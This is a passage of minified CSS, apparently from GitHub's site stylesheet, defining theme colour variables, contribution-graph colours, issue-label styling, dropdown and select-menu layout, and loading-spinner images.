dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}.signed-commit-badge-small,.signed-commit-badge-medium,.signed-commit-badge-large{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.signed-commit-badge-small{margin-top:0}.signed-commit-badge-large{padding-right:10px;padding-left:10px;line-height:22px}.topic-tag-action,.delete-topic-button,.topic-tag{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;padding-right:10px;padding-left:10px;line-height:22px;color:var(--color-accent-fg);background-color:var(--color-accent-subtle);border:1px solid var(--color-topic-tag-border, transparent)}.topic-tag-action:active,.topic-tag-action:hover,.delete-topic-button:active,.delete-topic-button:hover,.topic-tag:active,.topic-tag:hover{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag{margin:0 .125em .333em 0}.topic-tag-outline{background:transparent}.topic-tag-action{display:inline-flex;padding-right:0;margin:.6em .5em 0 0}.delete-topic-button,.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:flex;width:24px;height:24px;padding:0;color:inherit;border-color:transparent;border-left:0;border-radius:2em;align-items:center;justify-content:center}.hx_Layout.hx_Layout--sidebar-hidden{grid-auto-flow:row;grid-template-columns:1fr !important}.hx_Layout.hx_Layout--sidebar-hidden .Layout-sidebar,.hx_Layout.hx_Layout--sidebar-hidden .Layout-divider,.hx_Layout.hx_Layout--sidebar-hidden .Layout-main{width:100% !important;grid-column:1 !important}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided{--Layout-gutter: 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider{height:1px;grid-row:2}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided .Layout-main{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.hx_Layout.hx_Layout--sidebar-hidden.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.hx_Layout--sidebar{top:60px;box-sizing:border-box;overscroll-behavior:contain}.branch-action-item.color-border-default{border-color:var(--color-border-default) !important}.user-status-container .input-group-button .btn{height:32px}.reponav-item,.pagehead-tabs-item{border-radius:4px 4px 0 0}.reponav-item.selected,.pagehead-tabs-item.selected{border-top-color:#f9826c}.auto-search-group>.octicon{top:8px}.subnav-search>button.mt-2{margin-top:6px !important}.completeness-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-btn-primary-bg)}.pagination-loader-container button.color-bg-default.border-0{border-top-left-radius:6px;border-top-right-radius:6px}.avatar-user{border-radius:50% !important}@media(max-width: 543px){.minimized-comment>details>div{padding-left:0 !important}}@media(max-width: 